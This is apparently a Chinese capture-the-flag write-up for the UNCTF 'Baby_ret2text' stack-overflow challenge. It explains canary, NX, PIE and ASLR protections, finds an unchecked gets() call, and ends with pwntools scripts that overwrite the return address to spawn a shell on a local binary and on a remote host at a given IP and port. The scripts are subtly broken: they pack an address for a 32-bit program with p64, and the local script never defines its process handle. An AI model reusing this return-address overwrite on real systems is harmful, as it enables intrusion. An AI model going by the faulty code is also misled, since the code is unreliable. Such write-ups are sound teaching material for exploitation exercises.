UNCTF:Baby_ret2text(棧溢出)

基本信息查詢 

 

Stack:這裏沒有開啓Stack保護,如果開啓的話會在棧中的返回地址前放一個隨機值,如果被覆蓋,程序就會報錯退出

NX:沒有開啓,如果開啓的話就不能讓IP寄存器指向堆、棧

 

 

 

這裏顯示這是一個ELF32位的程序

運行後發現需要input

 

canary(棧保護)

當啓用棧保護後,函數開始執行的時候會先往棧底插入 cookie

信息,當函數真正返回的時候會驗證 cookie 信息是否合法 (棧幀銷燬前測試該值是否被改變),如果不合法就停止程序運行

(棧溢出發生)。攻擊者在覆蓋返回地址的時候往往也會將 cookie 信息給覆蓋掉,導致棧保護檢查失敗而阻止 shellcode

的執行,避免漏洞利用成功。在 Linux 中我們將 cookie 信息稱爲 Canary。

PIE

如果程序開啓了PIE保護的話,在每次加載程序時都變換加載地址

NX(DEP)

NX即No-eXecute(不可執行)的意思,限制一塊內存區域不可執行。

ASLR

ASLR(地址隨機化)是一種針對緩衝區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區佈局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。

但是,地址隨機化不是對所有模塊和內存區都進行隨機化!雖然libc、棧、堆的加載位置被隨機化,但主鏡像不會。


鏈接:https://www.jianshu.com/p/4231b886ded5

 

 

接着使用IDA分析 

 

 

 F5,查看僞代碼

 

發現get函數沒有限制長度,這裏有溢出

 

 

接着找到

 

找到system(“/bin/sh”)地址就可以構造exp

 

 

我們這裏知道了gets函數讀取無限制的用戶輸入到棧上,還有get函數的地址,接下來要確認輸入到多少位可以覆蓋到返回地址

 

創建隨機的字符:

gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

 run運行,然後輸入剛纔獲取的字符,程序會報錯

 

用pattern_offset命令算出偏移(填入報錯的地址):

 

編寫本地的exp:

from pwn import *
#p=process("/home/luo/pwn/vul")
p.sendline('b'*60 + p64(0x08048503))
p.interactive()

 

成功後繼續編寫遠程的exp:

#根據題目給的ip和端口遠程連接
from pwn import *
p = remote('120.79.17.251','10001')
p.sendline('b'*60 + p64(0x08048503))
p.interactive()

 

運行exp:

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章